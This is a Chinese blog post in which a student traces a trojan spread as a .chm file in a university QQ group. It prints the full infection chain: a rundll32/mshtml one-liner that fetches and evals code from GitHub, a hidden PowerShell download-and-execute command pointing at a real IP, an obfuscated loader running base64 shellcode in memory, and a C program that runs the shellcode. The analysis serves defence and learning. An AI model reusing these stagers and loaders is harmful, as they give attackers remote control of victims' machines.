记一次QQ群木马事件以开启一段安全之旅

事情的起因是这样的,在我皇家邮电大学即将举办CCTF之际,有个哥跑到大重邮的Linux的协会群放了一个精彩图片合集.chm的文件。并能够看到点击该文件的群里同学的桌面而且还有访问摄像头的功能。群里一篇慌乱,使得释放木马的哥开心的合不拢嘴。很多同学表示无能为力,我也点了一下那个文件,然后电脑卡了几秒之后然后就看到了那个文件里面并没有什么内容。这个时候我也慌了,从来没有感觉到原来安全这么的重要,于是我决心破解那个木马,并努力学习安全防御。

首先,中了该木马的电脑无一表现出出现多个PowerShell的进程,我打开任务管理器看到CPU占用最大的是控制台窗口主进程,可知木马肯定是通过命令行进行通信的。通过运行wmic process where caption="rundll32.exe" get caption,commandline /value可以看到一个通信的链接

1
2
3
4
5
6
7
Caption=rundll32.exe
CommandLine="C:\Windows\System32\rundll32.exe"
javascript:"\..\mshtml,RunHTMLApplication";document.write();
h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","https://github.com/maybeok007/address/raw/master/shouye",false);
try{h.Send();b=h.ResponseText;eval(b);}
catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

可以猜测这里的这段代码应该是嵌入在那个chm文件里面的。
我猜大概的意思就是从github的一个仓库下载一个叫做shouye的代码然后运行它。我们在github获得那个叫做shouye的代码,大概如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.SetTimeouts(0, 0, 0, 0);
try {
h.Open("GET","https://github.com/maybeok007/address/raw/master/cmd",false);
h.Send();
c = h.ResponseText;
r = new ActiveXObject("WScript.Shell").Run(c,0,true);
} catch(e1) {
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","https://github.com/maybeok007/address/raw/master/cmd",false);
p.Send("[Some thing wrong !! ]\n");
}

可以看到那个shouye的代码是为了打开同样链接下面的叫做cmd的代码然后运行它。我们再获得cmd的代码,大概如下:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://115.28.182.91:801/a'))"
可以看到这里是调用powershell来从服务器来down代码,然后运行,这是最新一版的代码没有折腾的价值这里就不提了,值得一提的是之前一版的代码是这样的

1
2
powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcg...省略...==

可以看出的是这是通过powershell 来执行某些指令只不过这些指令是通过某些方式加密的,我们猜测这是通过Base64进行加密的,通过Base64进行解密后我们可以得到:

1
if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sI...省略...gAA''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);

格式化之后是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if([IntPtr]::Size -eq 4)
{
$b='powershell.exe'
}
else
{
$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'
};
$s=New-Object System.Diagnostics.ProcessStartInfo;
$s.FileName=$b;
$s.Arguments='-nop -w hidden -c
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(xxx));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
';
$s.UseShellExecute=$false;
$s.RedirectStandardOutput=$true;
$s.WindowStyle='Hidden';
$s.CreateNoWindow=$true;
$p=[System.Diagnostics.Process]::Start($s);

可以看到又是一路假镖,为了隐藏自己的服务器ip地址,作者可真是用心良苦啊。可以看到这里又是调用Powershell来运行命令,而运行的命令又是通过Base64 进行加密的。我们再次使用Base64对命令进行解密可以得到一串乱码,再次仔细查看上面的代码可以发现其实有一个New-Object IO.Compression.GzipStream用来对流进行压缩,可以知道不仅仅是加密还有压缩的。这里我们很自然想到可以使用VS通过C#来进行编程得到解压且解密之后的东西。经过一番百度之后我们可以写出下面这样的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
byte[] outputb = Convert.FromBase64String("H4sI...省略...A");
System.IO.MemoryStream cmpStream = new System.IO.MemoryStream(outputb);
System.IO.Compression.GZipStream zipStream = new System.IO.Compression.GZipStream(cmpStream, System.IO.Compression.CompressionMode.Decompress);

System.IO.StreamReader reader =new System.IO.StreamReader(zipStream);
string str = reader.ReadToEnd();
//string kkk = Encoding.Default.GetString(outputb);

Console.WriteLine(str);
}
}
}

运行之后我们可以得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function aVNbl {
Param ($vUWa37, $gWJz4CZjPH)
$xM8SDmw = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location
Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

return $xM8SDmw.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Obje
t System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($xM8SDmw.GetMethod('GetModuleHandle')).Invoke($null, @
$vUWa37)))), $gWJz4CZjPH))
}

function re5ePC {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $s1vaQqXLi,
[Parameter(Position = 1)] [Type] $glBQxPMwgT = [Void]
)

$ze24 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedD
legate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineTyp
('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ze24.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $
1vaQqXLi).SetImplementationFlags('Runtime, Managed')
$ze24.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $glBQxPMwgT, $s1vaQqXLi).SetImplementationF
ags('Runtime, Managed')

return $ze24.CreateType()
}

[Byte[]]$psHJd = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEIKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VUFBQUEBQQFBo6g/f4P/Vl2oFaHMctltoAgBlBonmahBWV2iZpXRh/9WFwHQK/04IdezoPwAAAGoAagWV2gC2chf/9WD+AB+6Ys2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH7DAcMpxnXpw7vwtaJWagBT/9U=")

$sXMGTPYMkl = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aVNbl kernel32.dll VirtualAlloc) (re5ePC @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $psHJd.Length,0x3000, 0x40)[System.Runtime.InteropServices.Marshal]::Copy($psHJd, 0, $sXMGTPYMkl, $psHJd.length)

$zcLaWjBVTo8P = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aVNbl kernel32.dll CreateThrea), (re5ePC @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$sXMGTPYMl,[IntPtr]::Zero,0,[IntPtr]::Zero)[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aVNbl kernel32.dll WaitForSingleObject), (re5eC @([IntPtr], [Int32]))).Invoke($zcLaWjBVTo8P,0xffffffff) | Out-Null

可以看出这明显进行了代码混淆,我们将混淆之后的代码尽可能的还原之后可以得到这样的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

function fun1 {
Param ($parm1, $parm2)
$parm3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

return $parm3.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($parm3.GetMethod('GetModuleHandle')).Invoke($null, @($parm1)))), $parm2))
}

function fun2 {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $parm4,
[Parameter(Position = 1)] [Type] $parm5 = [Void]
)

$parm6 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$parm6.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $parm4).SetImplementationFlags('Runtime, Managed')
$parm6.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $parm5, $parm4).SetImplementationFlags('Runtime, Managed')

return $parm6.CreateType()
}

[Byte[]]$parm7 = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VUFBQUEBQQFBo6g/f4P/Vl2oFaHMctltoAgBlBonmahBWV2iZpXRh/9WFwHQK/04IdezoPwAAAGoAagRWV2gC2chf/9WD+AB+6Ys2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH7DAcMpxnXpw7vwtaJWagBT/9U=")

$parm8 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fun1 kernel32.dll VirtualAlloc),
(fun2 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $parm7.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($parm7, 0, $parm8, $parm7.length)

$parm9 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fun1 kernel32.dll CreateThread), (fun2 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$parm8,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fun1 kernel32.dll WaitForSingleObject), (fun2 @([IntPtr], [Int32]))).Invoke($parm9,0xffffffff) | Out-Null

从$parm7可以看出这还是通过base64加密的东西(WTF),所以我们再次通过Base64进行解密还是得到的是乱码所以我们再次仔细观察源码,并没有发现其它端倪,所以我们有理由猜测他是将编译后的二进制指令进行加密之后放到了里面。所以我们将解密之后的东西以16进制输出出来,然后通过程序将二进制指令压入指令栈中,构成一个可以运行的程序。我们可以使用Qt写出类似于下面这样的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include"stdafx.h"
#include<windows.h>

char shellCode[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89"
"\xe5\x31\xc0\x64\x8b\x50\x30\x8b"
"\x52\x0c\x8b\x52\x14\x8b\x72\x28"
"\x0f\xb7\x4a\x26\x31\xff\xac\x3c"
"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20"
"\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
"\x8b\x34\x8b\x01\xd6\x31\xff\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
"\xe4\x58\x8b\x58\x24\x01\xd3\x66"
"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d"
"\x5d\x68\x33\x32\x00\x00\x68\x77"
"\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\xff\xd5\xb8\x90\x01\x00\x00"
"\x29\xc4\x54\x50\x68\x29\x80\x6b"
"\x00\xff\xd5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xea\x0f\xdf\xe0"
"\xff\xd5\x97\x6a\x05\x68\x73\x1c"
"\xb6\x5b\x68\x02\x00\x65\x06\x89"
"\xe6\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a"
"\xff\x4e\x08\x75\xec\xe8\x3f\x00"
"\x00\x00\x6a\x00\x6a\x04\x56\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\xe9\x8b\x36\x6a\x40"
"\x68\x00\x10\x00\x00\x56\x6a\x00"
"\x68\x58\xa4\x53\xe5\xff\xd5\x93"
"\x53\x6a\x00\x56\x53\x57\x68\x02"
"\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\xc3\x01\xc3\x29\xc6\x75\xe9"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5 ";

int main(int argc, char* argv[])
{
//创建ShellCode的线程
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(int)&shellCode, NULL, 0, NULL);

//等待线程的创建完成
WaitForSingleObject(hThread, INFINITE);

return 0;
}

然后这段代码肯定要与作者服务器进行通信从而得到恶意的代码,所以我们通过病毒分析工具MyMonitor工具来分析它的Socket通信。
将上面编译好的程序拖到分析工具里面,可以看到下面的结果:

来自七牛云的图片,这样我们就得到了作者的服务器ip和端口,可以发现,如果单纯的下载代码肯定不行,肯定还有一些东西需要从主机上传到作者的服务器,在这里就不去深究了,毕竟自己功底不够,耗时不讨好。所以就到此为止吧,下一步我将好好学习渗透方面的知识,只是为了更好的保护自己的信息安全。想起别人说的一句话:

冷兵器的时代已经过去,在新的时代我们应该拿起枪和炮,从而才能更好的生存。

参考文章

T B
站点访问量: / , 本页阅读量:
T B